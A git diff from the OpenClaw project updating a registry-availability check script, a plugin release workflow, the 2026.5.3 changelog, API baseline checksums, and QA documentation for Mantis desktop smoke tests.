encoded_version="$(node -e 'console.log(encodeURIComponent(process.env.PACKAGE_VERSION ?? ""))')"
|
||||
url="${CLAWHUB_REGISTRY%/}/api/v1/packages/${encoded_name}/versions/${encoded_version}"
|
||||
status="$(curl --silent --show-error --output /dev/null --write-out '%{http_code}' "${url}")"
|
||||
status=""
|
||||
for attempt in $(seq 1 8); do
|
||||
status="$(curl --silent --show-error --output /dev/null --write-out '%{http_code}' "${url}")"
|
||||
if [[ "${status}" == "404" || "${status}" =~ ^2 ]]; then
|
||||
break
|
||||
fi
|
||||
if [[ "${status}" == "429" || "${status}" =~ ^5 ]]; then
|
||||
echo "ClawHub availability check returned ${status} for ${PACKAGE_NAME}@${PACKAGE_VERSION}; retrying (${attempt}/8)."
|
||||
sleep 60
|
||||
continue
|
||||
fi
|
||||
break
|
||||
done
|
||||
if [[ "${status}" =~ ^2 ]]; then
|
||||
echo "${PACKAGE_NAME}@${PACKAGE_VERSION} is already published on ClawHub."
|
||||
exit 1
|
||||
|
||||
3
.github/workflows/plugin-npm-release.yml
vendored
3
.github/workflows/plugin-npm-release.yml
vendored
@@ -176,6 +176,9 @@ jobs:
|
||||
pnpm-version: ${{ env.PNPM_VERSION }}
|
||||
install-bun: "false"
|
||||
|
||||
- name: Verify package-local runtime build
|
||||
run: pnpm release:plugins:npm:runtime:check --package "${{ matrix.plugin.packageDir }}"
|
||||
|
||||
- name: Preview publish command
|
||||
run: bash scripts/plugin-npm-publish.sh --dry-run "${{ matrix.plugin.packageDir }}"
|
||||
|
||||
|
||||
80
CHANGELOG.md
80
CHANGELOG.md
@@ -2,11 +2,16 @@
|
||||
|
||||
Docs: https://docs.openclaw.ai
|
||||
|
||||
## Unreleased
|
||||
## 2026.5.3
|
||||
|
||||
### Highlights
|
||||
|
||||
- Plugins/file-transfer: add bundled file-transfer plugin with `file_fetch`, `dir_list`, `dir_fetch`, and `file_write` agent tools for binary file ops on paired nodes; default-deny per-node path policy under `plugins.entries.file-transfer.config.nodes` with operator approval, symlink traversal refused by default (opt-in `followSymlinks`), and a 16 MB byte ceiling per round-trip. (#74742) Thanks @omarshahine.
|
||||
- Plugins/install: harden official plugin install, uninstall, update, onboarding, ClawHub fallback, npm dependency-state reporting, and beta-channel update paths so externalized plugins behave like first-class package installs.
|
||||
- Gateway/performance: trim startup and Control UI hot paths by lazy-loading plugin/runtime discovery, cron, schema, shutdown, sessions, and model metadata work only when needed.
|
||||
- Channels/replies: improve Discord status reactions and degraded transport reporting, add WhatsApp Channel/Newsletter targets, and tighten Telegram, Feishu, Matrix, Microsoft Teams, and Slack delivery/recovery behavior.
|
||||
- Install/update: recover broken macOS LaunchAgent upgrades, reject source-only plugin packages before runtime load, and repair stale Gateway/plugin state during updates and doctor runs.
|
||||
- Agent/runtime reliability: preserve streamed provider replies, delayed A2A session replies, prompt/tool delivery, memory recall, web search provider discovery, and provider-specific thinking/model metadata across common edge cases.
|
||||
|
||||
### Changes
|
||||
|
||||
@@ -20,21 +25,51 @@ Docs: https://docs.openclaw.ai
|
||||
- Gateway/performance: lazy-load early runtime discovery and shutdown-hook helpers, defer maintenance timers until after readiness, and trim duplicate plugin auto-enable work during Gateway startup.
|
||||
- QA/Mantis: add a `pnpm openclaw qa mantis discord-smoke` runner and manual GitHub workflow that verify the Mantis Discord bot can see the configured guild/channel, post a smoke message, add a reaction, and upload artifacts.
|
||||
- QA/Slack: add a Slack live transport QA runner with canary and mention-gating coverage for the private bot-to-bot harness. Thanks @vincentkoc.
|
||||
- Gateway/performance: lazy-load the heavy cron runtime after the rest of Gateway startup, defer restart-sentinel refresh after readiness, and let the Gateway startup benchmark write per-run V8 CPU profiles with `--cpu-prof-dir`.
|
||||
- Gateway/performance: keep raw channel-config schema parsing from discovering bundled plugin runtime metadata, and add `pnpm gateway:watch --benchmark-no-force` for profiling startup without the default port cleanup.
|
||||
- Plugins/onboarding: let Manual setup install optional official plugins, including ClawHub-backed diagnostics with npm fallback, and expose the external Codex plugin as a selectable provider setup choice. Thanks @vincentkoc.
|
||||
- Plugins/CLI: include package dependency install state in `openclaw plugins list --json` so scripts can spot missing plugin dependencies without runtime-loading plugins.
|
||||
- Discord/status: add degraded Discord transport and gateway event-loop starvation signals to `openclaw channels status`, `openclaw status --deep`, and fetch-timeout logs so intermittent socket resets do not look like a healthy running channel. (#76327) Thanks @joshavant.
|
||||
- Plugins/update: on the beta OpenClaw update channel, default-line npm and ClawHub plugin updates try `@beta` first and fall back to default/latest when no plugin beta release exists.
|
||||
- Plugins/CLI/update: include package dependency install state in `openclaw plugins list --json`, trust official externalized npm migrations, clean stale bundled load paths for externalized installs, try plugin `@beta` updates first on the beta OpenClaw channel, and fall back to default/latest when no plugin beta release exists.
|
||||
- Plugins/ClawHub: annotate 429 errors with reset windows and unauthenticated higher-rate-limit hints, so operators can tell when downloads recover and when signing in helps. Thanks @romneyda.
|
||||
- Gateway/performance: lazy-load early runtime discovery, shutdown hooks, cron, channel-config schema metadata, restart sentinels, and maintenance timers after readiness; trim duplicate plugin auto-enable work and add startup CPU/profile controls.
|
||||
- Gateway/config: stop Gateway startup and hot reload from auto-restoring invalid config; invalid config now fails closed and `openclaw doctor --fix` owns last-known-good repair.
|
||||
- Discord/status: let explicit reaction tool calls opt into tracking later tool progress with `trackToolCalls: true`, share tool display emoji mapping, and surface degraded Discord transport or gateway event-loop starvation in status output. (#76327) Thanks @joshavant.
|
||||
- Channels/WhatsApp: support explicit WhatsApp Channel/Newsletter `@newsletter` outbound message targets with channel session metadata instead of DM routing. Fixes #13417; carries forward the narrow outbound target idea from #13424. Thanks @vincentkoc and @agentz-manfred.
|
||||
- Exec approvals: add a tree-sitter-backed shell command explainer for future approval and command-review surfaces. (#75004) Thanks @jesse-merhi.
|
||||
- Agents/tools: skip optional media and PDF tool factories when the effective tool denylist already blocks them, avoiding unnecessary hot-path setup for tools that will be filtered out before model use. (#76773) Thanks @dorukardahan.
|
||||
- Agents/sandbox: store sandbox container and browser registry entries as per-runtime shard files, reducing unrelated session lock contention while `openclaw doctor --fix` migrates legacy monolithic registry files. (#74831) Thanks @luckylhb90.
|
||||
- Plugins/ClawHub: annotate 429 errors from ClawHub with the reset window from `RateLimit-Reset`/`Retry-After` and append a `Sign in for higher rate limits.` hint when the request was unauthenticated, so users can see when downloads will recover and how to lift the cap. Thanks @romneyda.
|
||||
- Tools/BTW: add `/side` as a text and native slash-command alias for `/btw` side questions.
|
||||
- Exec approvals: add a tree-sitter-backed shell command explainer for future approval and command-review surfaces. (#75004) Thanks @jesse-merhi.
|
||||
- QA/Mantis: add a `pnpm openclaw qa mantis discord-smoke` runner and manual GitHub workflow that verify the Mantis Discord bot can see the configured guild/channel, post a smoke message, add a reaction, and upload artifacts.
|
||||
|
||||
### Fixes
|
||||
|
||||
- fix: harden backend message action gateway routing [AI]. (#76374) Thanks @pgondhi987.
|
||||
- Gate QQBot streaming command auth [AI]. (#76375) Thanks @pgondhi987.
|
||||
- Plugins/release: make the published npm runtime verifier reject blank `openclaw.runtimeExtensions` entries instead of treating them as absent and passing via inferred outputs. Thanks @vincentkoc.
|
||||
- Web fetch: scope provider fallback cache entries by the selected fetch provider so config reloads cannot reuse another provider's cached fallback payload. Thanks @vincentkoc.
|
||||
- Web search: honor late-bound `tools.web.search.enabled: false` during tool execution so config reloads cannot leave an already-created `web_search` tool runnable. Thanks @vincentkoc.
|
||||
- Plugins/packages: reject inferred built runtime entries that exist but fail package-boundary checks instead of falling back to TypeScript source for installed packages. Thanks @vincentkoc.
|
||||
- Plugins/loader: do not retry native-loaded JavaScript plugin modules through the source transformer after native evaluation has already reached a missing dependency, avoiding duplicate top-level side effects. Thanks @vincentkoc.
|
||||
- Plugins/security: stop the install scanner from blocking official bundled plugin packages when `process.env` access and normal API sends only appear in distant parts of the same compiled bundle.
|
||||
- Plugins/packages: reject blank `openclaw.runtimeExtensions` entries instead of silently ignoring them and falling back to inferred TypeScript runtime entries. Thanks @vincentkoc.
|
||||
- Doctor/plugins: remove stale managed npm plugin shadow entries from the managed package lock as well as `package.json` and `node_modules`, so future npm operations do not keep referencing repaired bundled-plugin shadows. Thanks @vincentkoc.
|
||||
- Plugins/runtime state: keep the key being registered when namespace eviction runs in the same millisecond as existing entries, so `register` and `registerIfAbsent` do not report success while evicting their own fresh value. Thanks @vincentkoc.
|
||||
- Control UI/Talk: make failed Talk startup errors dismissable and clear the stale Talk error state when dismissed, so missing realtime voice provider configuration does not leave a permanent chat banner. Fixes #77071. Thanks @ijoshdavis.
|
||||
- Control UI/Talk: stop and clear failed realtime Talk sessions when dismissing runtime error banners, so the next Talk click starts a fresh session instead of only stopping the stale one. Thanks @vincentkoc.
|
||||
- Control UI/Talk: retry from a failed realtime Talk session on the next Talk click instead of requiring a separate stale-session stop click first. Thanks @vincentkoc.
|
||||
- Canvas host: preserve the Gateway TLS scheme in browser canvas host URLs and startup mount logs, so direct HTTPS gateways do not advertise insecure canvas links. Thanks @vincentkoc.
|
||||
- WhatsApp/login: route login success and failure messages through the injected runtime, so setup/onboarding surfaces capture all login output instead of only the QR. Thanks @vincentkoc.
|
||||
- Google Chat: create an isolated Google auth transport per auth client, so google-auth-library interceptor mutations do not accumulate across webhook verification and access-token clients. Thanks @vincentkoc.
|
||||
- Doctor/plugins: remove orphaned or recovered managed npm copies of bundled `@openclaw/*` plugins during `doctor --fix`, so stale package manifests cannot shadow the current bundled plugin config schema.
|
||||
- Control UI/performance: cap long-task and long-animation-frame diagnostics in the shared event log, so slow-render telemetry does not evict gateway/plugin events from the Debug and Overview views. Thanks @vincentkoc.
|
||||
- Gateway/startup: log the canvas host mount only after the HTTP server has bound, so startup logs no longer report the canvas host as mounted before it can serve requests.
|
||||
- Control UI/i18n: render the Sessions active filter tooltip with the configured minute count in every locale and make the i18n check reject placeholder drift. Thanks @BunsDev.
|
||||
- Web fetch: late-bind `web_fetch` config and provider fallback metadata from the active runtime snapshot, matching `web_search` so long-lived tools do not use stale fetch provider settings. Thanks @vincentkoc.
|
||||
- Plugins/discovery: demote the source-only TypeScript runtime check on already-installed `origin: "global"` plugin packages from a config-blocking error to a warning and let the runtime fall through to the TypeScript source via jiti, so a single broken installed package no longer blocks `plugins install` for unrelated plugins; install-time rejection of newly-installed source-only packages is unchanged. Thanks @romneyda.
|
||||
- Providers/OpenAI Codex: stop the OAuth progress spinner before showing the manual redirect paste prompt, so callback timeouts do not spam `Browser callback did not finish` across terminals.
|
||||
- Channels/WhatsApp: allow `@whiskeysockets/libsignal-node` in `onlyBuiltDependencies` so pnpm v9+ `blockExoticSubdeps` no longer rejects the baileys git-tarball subdep and silences all inbound agent replies. Fixes #76539. Thanks @ottodeng and @vincentkoc.
|
||||
- Gateway/systemd: preserve operator-added secrets in the Gateway env file across re-stage while clearing OpenClaw-managed keys (such as `OPENCLAW_GATEWAY_TOKEN`) so a fresh staging value is never shadowed by a stale env-file copy; operator secrets are also retained when the state-dir `.env` is empty. Fixes #76860. Thanks @hclsys.
|
||||
- Plugin updates: do not short-circuit trusted official npm updates as unchanged when the default/latest spec still resolves to an already-installed prerelease that the installer should replace with a stable fallback. Thanks @vincentkoc.
|
||||
- Plugin tools: keep auth-unavailable optional tools hidden even when another default tool from the same plugin is available and `tools.alsoAllow` names the optional tool. Thanks @vincentkoc.
|
||||
- Realtime transcription: report socket closes before provider readiness as closed-before-ready failures instead of mislabeling them as connection timeouts for OpenAI, xAI, and Deepgram streaming transcription. Thanks @vincentkoc.
|
||||
- OpenAI/Google Meet: fail realtime voice connection attempts when the socket closes before `session.updated`, avoiding stuck Meet joins waiting on a bridge that never became ready. Thanks @vincentkoc.
|
||||
- QA/cache: require the full `CACHE-OK <suffix>` marker before live cache probes stop retrying, so suffix-only prose cannot hide a broken probe response. Thanks @vincentkoc.
|
||||
- Slack/Matrix: avoid creating blank progress-draft messages when `streaming.progress.label=false` and progress tool lines are disabled. Thanks @vincentkoc.
|
||||
- QA/Matrix: keep the mock OpenAI tool-progress provider aligned with exact-marker Matrix prompts so the hardened live preview scenario still forces a deterministic read before final delivery. Thanks @vincentkoc.
|
||||
@@ -62,6 +97,7 @@ Docs: https://docs.openclaw.ai
|
||||
- Discord: resolve SecretRef-backed bot tokens from the active runtime snapshot for named accounts and keep unresolved configured tokens from crashing status or health checks. (#76987) Thanks @joshavant.
|
||||
- Channels/streaming: expose `streaming.progress.label`, `labels`, `maxLines`, and `toolProgress` in bundled channel config metadata so progress draft settings appear in config, docs, and control surfaces. Thanks @vincentkoc.
|
||||
- Channels/streaming: normalize whitespace and case for `streaming.progress.label: "auto"` so progress draft labels keep using the built-in label pool instead of rendering a literal `auto` title. Thanks @vincentkoc.
|
||||
- Plugins/Codex: preserve Codex-native OAuth routing for `/codex bind` app-server turns so bound sessions keep the selected Codex auth profile instead of falling back to public OpenAI credentials. (#76714) Thanks @keshavbotagent.
|
||||
- Gateway/install: prefer supported system Node over nvm/fnm/volta/asdf/mise when regenerating managed gateway services, so `gateway install --force` no longer recreates service definitions that doctor immediately flags as version-manager-backed. Fixes #76339. Thanks @brokemac79.
|
||||
- Cron/status: render explicit `delivery.mode: "none"` jobs as no-delivery previews and label cron session history distinctly instead of showing fallback delivery or direct-session rows. Fixes #76945.
|
||||
- Gateway/usage: serve `usage.cost` and `sessions.usage` from a durable transcript aggregate cache with lock-safe background refreshes and localized stale-cache status, so large usage views avoid repeated full scans. (#76650) Thanks @Marvinthebored.
|
||||
@@ -88,6 +124,9 @@ Docs: https://docs.openclaw.ai
|
||||
- Status/sessions: ignore malformed non-string persisted session provider/model metadata instead of throwing while rendering status summaries. Fixes #76206. Thanks @vincentkoc.
|
||||
- CLI/config: remove only the targeted array element for `openclaw config unset array[index]` instead of replaying the unset during config write and deleting the shifted next element. Fixes #76290. Thanks @SymbolStar and @vincentkoc.
|
||||
- Plugins/voice-call: treat abnormal local Gateway close code 1006 as a standalone CLI fallback case, so `voicecall smoke` and related commands can still run the provider check path when the Gateway socket closes before returning a response.
|
||||
- CLI/doctor: migrate legacy per-channel `streaming.progress` config into `streaming.preview.toolProgress`, so upgrades with stale Discord or Telegram streaming keys validate again instead of blocking plugin commands.
|
||||
- Plugins/release: reject ClawHub code-plugin packages that contain TypeScript runtime entries without compiled `dist/*.js` output, and run package-local runtime-build checks during npm and ClawHub plugin release previews.
|
||||
- Plugins/update: keep beta-installed OpenClaw package updates on the beta plugin channel even when config still says stable, so Discord and other externalized plugins update from compiled `@beta` packages instead of stale source-only `latest` artifacts.
|
||||
- Agents/tools: stop treating `tools.deny: ["write"]` as an implicit `apply_patch` deny; operators who want to block patch writes should deny `apply_patch` or `group:fs` explicitly. Fixes #76749. (#76795) Thanks @Nek-12 and @hclsys.
|
||||
- Plugins/release: verify published plugin npm tarballs expose compiled runtime entries after publish, catching TS-only package artifacts before release closeout. Thanks @vincentkoc.
|
||||
- CLI/message: exit cleanly with a nonzero status when message-command plugin registry loading fails before dispatch, preventing `openclaw-message` children from staying alive after plugin load errors. Fixes #76168.
|
||||
@@ -147,8 +186,7 @@ Docs: https://docs.openclaw.ai
|
||||
- CLI/onboarding: mask credential inputs (model-auth provider API keys, gateway tokens and passwords, web-search provider keys, and skill env-var values) in the interactive `openclaw onboard` wizard so pasted secrets no longer echo into terminal scrollback, `Start-Transcript` logs, or screenshots; existing tokens/passwords are preserved through a masked-preview confirm step before the sensitive prompt. Thanks @anurag-bg-neu.
|
||||
- Control UI/Talk: fix Talk (OpenAI Realtime WebRTC) CORS failure by stripping server-side-only attribution headers (`originator`, `version`, `User-Agent`) from browser offer headers; `api.openai.com/v1/realtime/calls` only allows `authorization` and `content-type` in its CORS preflight, so forwarding these headers caused the browser SDP exchange to fail. Fixes #76435. Thanks @hclsys.
|
||||
- Chat delivery: make `/verbose on|full|off` changes affect subsequent tool-use chat bubbles again, including channels with draft preview tool progress enabled, while preserving one-shot verbose directives.
|
||||
- CLI/logs: auto-reconnect `openclaw logs --follow` on transient gateway disconnects (WebSocket close, timeout, connection drop) with bounded exponential backoff (up to 8 retries, capped at 30 s) and stderr retry warnings, while still exiting immediately on non-recoverable auth or configuration errors. Fixes #74782. (#75059) Thanks @shashank-poola.
|
||||
- CLI/logs: announce `--follow` recovery with a `[logs] gateway reconnected` notice once a poll succeeds after a transient outage, and emit JSON `notice` records in `--json` mode for both the retry warning and the reconnect transition, so live monitoring scripts can react to the recovery. Carries forward #75059. (#75372) Thanks @romneyda.
|
||||
- CLI/logs: auto-reconnect `openclaw logs --follow` on transient gateway disconnects with bounded backoff, stderr retry warnings, `[logs] gateway reconnected` recovery notices, and JSON `notice` records while still exiting immediately on non-recoverable auth or configuration errors. Fixes #74782. (#75059, #75372) Thanks @shashank-poola and @romneyda.
|
||||
- Codex/WhatsApp: keep the `message` dynamic tool available when Codex source replies are configured for message-tool delivery, so coding-profile chat agents do not complete turns privately without a visible channel reply. Fixes #76660. (#76663) Thanks @VishalJ99.
|
||||
- Codex/heartbeat: send heartbeat-specific initiative guidance through Codex turn-scoped collaboration-mode instructions, keeping ordinary message-tool chat turns in Default mode without heartbeat prompt leakage. Thanks @pashpashpash.
|
||||
- Plugins/onboarding: trust optional official plugin and web-search installs selected from the official catalog so npm security scanning treats them like other source-linked official install paths. Thanks @vincentkoc.
|
||||
@@ -168,10 +206,8 @@ Docs: https://docs.openclaw.ai
|
||||
- TUI/Control UI: fix `/think` command showing only base thinking levels when the active session uses a different model from the default, so provider-specific levels like DeepSeek V4 Pro's `xhigh` and `max` are now visible and selectable. Fixes #76482. Thanks @amknight.
|
||||
- CLI/sessions: keep intentional empty agent replies silent after tool-delivered channel output, instead of surfacing a misleading "No reply from agent." fallback. Thanks @vincentkoc.
|
||||
- Config/doctor: cap `.clobbered.*` forensic snapshots per config path and serialize snapshot writes so repeated `doctor --fix` recovery loops cannot flood the config directory. Fixes #76454; carries forward #65649. Thanks @JUSTICEESSIELP, @rsnow, and @vincentkoc.
|
||||
- Feishu: suppress duplicate text when replies send native voice media while preserving captions for ordinary audio files and falling back to text plus attachment links when voice uploads fail.
|
||||
- Feishu: send the skipped reply text when `audioAsVoice` falls back to a generic file attachment after transcode failure, so voice-intent replies do not lose their caption.
|
||||
- TTS/plugins: activate the configured speech provider plugin during Gateway startup, so Microsoft and Local CLI voice replies work immediately after selecting them instead of staying invisible in the startup plugin set. Fixes #76481. Thanks @amknight.
|
||||
- TTS/plugins: include speech providers selected through inherited agent, channel, and account TTS personas during Gateway startup, matching the runtime TTS config merge. Carries forward #76481. Thanks @amknight.
|
||||
- Feishu: suppress duplicate text when replies send native voice media, preserve captions for ordinary audio files, and send fallback text plus attachment links when `audioAsVoice` transcode/upload fallback produces a generic file.
|
||||
- TTS/plugins: activate configured and inherited speech provider plugins during Gateway startup, so Microsoft and Local CLI voice replies work immediately after persona selection instead of staying invisible in the startup plugin set. Fixes #76481. Thanks @amknight.
|
||||
- Feishu: keep packaged Feishu startup from bundling the Lark SDK's ESM `__dirname` path by loading the SDK as a plugin-local runtime dependency. Fixes #76291 and #76494. (#76392) Thanks @zqchris.
|
||||
- Plugins/npm: build package-local runtime dist files for publishable plugins and stop listing root-package-excluded plugin sidecars in the core package metadata, so npm plugin installs such as `@openclaw/diffs` and `@openclaw/discord` no longer publish source-only runtime payloads. Fixes #76426. Thanks @PrinceOfEgypt.
|
||||
- Channels/secrets: resolve SecretRef-backed channel credentials through external plugin secret contracts after the plugin split, covering runtime startup, target discovery, webhook auth, disabled-account enumeration, and late-bound web_search config. Fixes #76371. (#76449) Thanks @joshavant and @neeravmakwana.
|
||||
@@ -185,22 +221,17 @@ Docs: https://docs.openclaw.ai
|
||||
- Plugins/install: resolve bare official external plugin IDs such as `brave` through the official catalog when no bundled source is available, so packaged installs fetch the intended scoped npm package instead of an unrelated unscoped package. Fixes #76373. Thanks @bek91 and @vincentkoc.
|
||||
- Plugins/install: require OpenClaw-owned install provenance before granting official npm plugin scanner trust, so direct npm package names no longer bypass launch-code scanning while catalog, onboarding, and doctor installs stay trusted. Thanks @fede-kamel and @vincentkoc.
|
||||
- Network proxy: preserve target TLS hostname validation for Node HTTPS requests routed through the managed HTTP proxy, so Discord-style CONNECT traffic no longer validates certificates against the local proxy host. Fixes #74809. (#76442) Thanks @jesse-merhi and @abnershang.
|
||||
- Gateway/sessions: keep async `sessions.list` title and preview hydration bounded to transcript head/tail reads so Control UI polling cannot full-scan large session transcripts every refresh. Thanks @vincentkoc.
|
||||
- Gateway/sessions: cache manifest model-id normalization and bundled setup CLI fallback metadata against the active plugin metadata snapshot, so Control UI `sessions.list` polling avoids repeated plugin manifest scans while still refreshing after plugin reloads. Thanks @rolandrscheel.
|
||||
- Gateway/sessions: keep `sessions.list` rows lightweight by bounding title/preview hydration to transcript head/tail reads and caching manifest model-id normalization plus setup fallback metadata against the active plugin snapshot. Thanks @vincentkoc and @rolandrscheel.
|
||||
- Gateway/performance: cache per-run verbose-level session reads, skip a redundant `lsof` scan in `gateway --force` when no listener was killed, and make the Gateway startup benchmark print usage for `--help`.
|
||||
- Gateway/sessions: keep agent runtime metadata on lightweight `sessions.list` rows so model-only session patches do not make Control UI lose runtime identity. Thanks @vincentkoc.
|
||||
- Gateway/sessions: keep bulk `sessions.list` rows lightweight by skipping per-row transcript usage fallback, display model inference, and plugin projection, avoiding event-loop stalls in large session stores. Thanks @Marvinthebored and @vincentkoc.
|
||||
- Gateway/models: keep read-only `models.list` fallbacks on persisted/current metadata and configured rows while using static auth checks, so missing `models.json` files no longer runtime-load provider discovery or stall gateway after restart. Fixes #76382; refs #76360 and #75707. Thanks @trojy13, @RayWoo, @AnathemaOfficial, and @vincentkoc.
|
||||
- Gateway/models: keep agent image attachment capability checks on the full catalog while preserving the read-only `models.list` path, so image sends are not rejected after static catalog fallback.
|
||||
- Gateway/sessions: keep agent runtime metadata on lightweight `sessions.list` rows and skip per-row transcript usage fallback, display model inference, and plugin projection, avoiding identity loss and event-loop stalls in large session stores. Thanks @Marvinthebored and @vincentkoc.
|
||||
- Gateway/models: keep read-only `models.list` fallbacks on persisted/current metadata, configured rows, registry-compatible fallbacks, and static auth checks while preserving full-catalog image attachment capability checks. Fixes #76382; refs #76360 and #75707. Thanks @trojy13, @RayWoo, @AnathemaOfficial, @Marvinthebored, and @vincentkoc.
|
||||
- CLI/plugins: reject missing plugin ids before config writes in `plugins enable` and `plugins disable` so a typo no longer persists a stale config entry. (#73554) Thanks @ai-hpc.
|
||||
- Agents/sessions: preserve delivered trailing assistant replies during session-file repair so Telegram/WebChat history is not rewritten to drop already-delivered responses. Fixes #76329. Thanks @obviyus.
|
||||
- Gateway/chat history: preserve oversized transcript turns as explicit omitted-message placeholders while avoiding large JSONL parse stalls. Thanks @Marvinthebored and @vincentkoc.
|
||||
- Gateway/models: keep read-only model-list responses on registry-compatible fallbacks and metadata defaults, so empty or minimal persisted model files do not hide built-ins or custom model capabilities. Thanks @Marvinthebored.
|
||||
- CLI/doctor: load the configured memory-slot plugin when resolving memory diagnostics so bundled `memory-core` no longer triggers a false “no active memory plugin” warning on standalone `doctor` / `status` runs. Fixes #76367. Thanks @neeravmakwana.
|
||||
- Gateway: preserve stack diagnostics when `chat.send` or agent attachment parsing/staging fails, improving image-send failure triage. Refs #63432. (#75135) Thanks @keen0206.
|
||||
- Agents/idle-timeout: add a cost-runaway breaker to the outer embedded-run retry loop that halts further attempts after 5 consecutive idle timeouts without completed model progress, so a wedged provider can no longer fan paid model calls out across the same run; completed text or tool-call progress resets the breaker, but partial tool-argument token dribbles do not. Fixes #76293. Thanks @ThePuma312.
|
||||
- Heartbeats/Codex: stop sending the legacy `HEARTBEAT_OK` prompt instruction when heartbeat turns have the structured `heartbeat_respond` tool, while keeping the text sentinel for legacy automatic heartbeat replies. Thanks @pashpashpash.
|
||||
- Heartbeats/Codex: keep structured heartbeat prompts aligned with actual `heartbeat_respond` tool availability and keep tool-disabled commitment check-ins on the legacy ack path. Thanks @pashpashpash and @vincentkoc.
|
||||
- Heartbeats/Codex: align structured heartbeat prompts with actual `heartbeat_respond` tool availability, stop sending legacy `HEARTBEAT_OK` when the tool exists, and keep tool-disabled commitment check-ins on the legacy ack path. Thanks @pashpashpash and @vincentkoc.
|
||||
- Agent runtimes: fail explicit plugin runtime selections honestly when the requested harness is unavailable instead of silently falling back to the embedded PI runtime. Thanks @pashpashpash.
|
||||
- Maintainer workflow: push prepared PR heads through GitHub's verified commit API by default and require an explicit override before git-protocol pushes can publish unsigned commits. Thanks @BunsDev.
|
||||
- Feishu: resolve setup/status probes through the selected/default account so multi-account configs with account-scoped app credentials show as configured and probeable. Fixes #72930. Thanks @brokemac79.
|
||||
@@ -215,8 +246,7 @@ Docs: https://docs.openclaw.ai
|
||||
- Cron: preserve manual `cron.run` IDs in `cron.runs` history so manual run acknowledgements can be correlated with finished run records. Fixes #76276.
|
||||
- CLI/devices: request `operator.admin` for `openclaw devices approve <requestId>` only when the exact pending device request would mint or inherit admin-scoped operator access, while keeping lower-scope approvals on the pairing scope.
|
||||
- Memory/embedding: broaden the embedding reindex retry classifier to include transient socket-layer errors (`fetch failed`, `ECONNRESET`, `socket hang up`, `UND_ERR_*`, `closed`) so memory reindex survives provider network hiccups instead of aborting mid-run. Related #56815, #44166. (#76311) Thanks @buyitsydney.
|
||||
- Memory/sessions: keep rotated and deleted session transcripts (`.jsonl.reset.<iso>` / `.jsonl.deleted.<iso>`) searchable end-to-end by indexing their real content in `buildSessionEntry` instead of short-circuiting to empty entries, and by mapping archive hit paths back to their live transcript stem during `memory_search` visibility filtering so hits are no longer dropped at the guard. `.jsonl.bak.<iso>` backups and compaction checkpoints remain opaque. Refs #56131. Thanks @buyitsydney.
|
||||
- Memory/sessions: emit a `sessionTranscriptUpdate` event when `archiveFileOnDisk` rotates a live session transcript into `.jsonl.reset.<iso>` / `.jsonl.deleted.<iso>` / `.jsonl.bak.<iso>`, and bypass the delta-bytes / delta-messages threshold gate in `processSessionDeltaBatch` for usage-counted archive paths (`.jsonl.reset.<iso>` and `.jsonl.deleted.<iso>`). Without the bypass the archive event was forwarded to the listener but dropped at the threshold check, because an archive is a one-shot file-rename mutation rather than an incremental append and would typically land below the default `deltaBytes: 100000` / `deltaMessages: 50` reindex thresholds. Archives now feed the memory sync incremental path the same way `appendMessage` / compaction / tool-result rewrite / chat inject / command execution events already do. Refs #56131. Thanks @buyitsydney.
|
||||
- Memory/sessions: keep rotated and deleted transcripts (`.jsonl.reset.<iso>` / `.jsonl.deleted.<iso>`) searchable by indexing archive content, mapping archive hits back to live transcript stems, emitting transcript update events on archive rotation, and bypassing incremental delta thresholds for one-shot archive mutations while keeping backups and compaction checkpoints opaque. Refs #56131. Thanks @buyitsydney.
|
||||
- Memory/search: keep sqlite-vec optional in packaged installs and point missing-extension recovery at the valid `agents.defaults.memorySearch.store.vector.extensionPath` setting. Thanks @willemsej and @vincentkoc.
|
||||
- Gateway: keep directly requested plugin tools invokable under restrictive tool profiles while preserving explicit deny lists and the HTTP safety deny list, preventing catalog/invoke mismatches that surface as "Tool not available". Thanks @BunsDev.
|
||||
- Gateway/update: allow beta binaries to refresh gateway services when the config was last written by the matching stable release version, avoiding false newer-config downgrade blocks during beta channel updates.
|
||||
|
||||
@@ -1,2 +1,2 @@
|
||||
0dd4f5abaf72f0d6b3fe5777cbf16c7a8c8052eece17436dc0ac2809b0ea27de plugin-sdk-api-baseline.json
|
||||
2c2170cf2f1193f7dbecdef3ccd1b601992407e3d99863d1aa13cb1817c238fd plugin-sdk-api-baseline.jsonl
|
||||
701356478634a8f3e71f941ed21a00e0456d947d287edcafb56231013b27a057 plugin-sdk-api-baseline.json
|
||||
ed17426dd5e9db4b83db77162e7490eee3c0439170c1a9d1e84c01d7027d580c plugin-sdk-api-baseline.jsonl
|
||||
|
||||
@@ -89,6 +89,73 @@ directory, installs dependencies, builds each ref, runs the scenario with
|
||||
and `mantis-report.md`. For the first Discord scenario, a successful verification
|
||||
means baseline status is `fail` and candidate status is `pass`.
|
||||
|
||||
The first VM/browser primitive is the desktop smoke:
|
||||
|
||||
```bash
|
||||
pnpm openclaw qa mantis desktop-browser-smoke \
|
||||
--output-dir .artifacts/qa-e2e/mantis/desktop-browser
|
||||
```
|
||||
|
||||
It leases or reuses a Crabbox desktop machine, starts a visible browser inside the
|
||||
VNC session, captures the desktop, pulls artifacts back to the local output
|
||||
directory, and writes the reconnect command into the report. The command defaults
|
||||
to the Hetzner provider because it is the first provider with working desktop/VNC
|
||||
coverage in the Mantis lane. Override it with `--provider`, `--crabbox-bin`, or
|
||||
`OPENCLAW_MANTIS_CRABBOX_PROVIDER` when running against another Crabbox fleet.
|
||||
|
||||
Useful desktop smoke flags:
|
||||
|
||||
- `--lease-id <cbx_...>` or `OPENCLAW_MANTIS_CRABBOX_LEASE_ID` reuses a warmed desktop.
|
||||
- `--browser-url <url>` changes the page opened in the visible browser.
|
||||
- `--html-file <path>` renders a repo-local HTML artifact in the visible browser. Mantis uses this to capture the generated Discord status-reaction timeline through a real Crabbox desktop.
|
||||
- `--keep-lease` or `OPENCLAW_MANTIS_KEEP_VM=1` keeps a newly created passing lease open for VNC inspection. Failed runs keep the lease by default when one was created so an operator can reconnect.
|
||||
- `--class`, `--idle-timeout`, and `--ttl` tune machine size and lease lifetime.
|
||||
|
||||
The first full desktop transport primitive is the Slack desktop smoke:
|
||||
|
||||
```bash
|
||||
pnpm openclaw qa mantis slack-desktop-smoke \
|
||||
--output-dir .artifacts/qa-e2e/mantis/slack-desktop \
|
||||
--gateway-setup \
|
||||
--scenario slack-canary \
|
||||
--keep-lease
|
||||
```
|
||||
|
||||
It leases or reuses a Crabbox desktop machine, syncs the current checkout into
|
||||
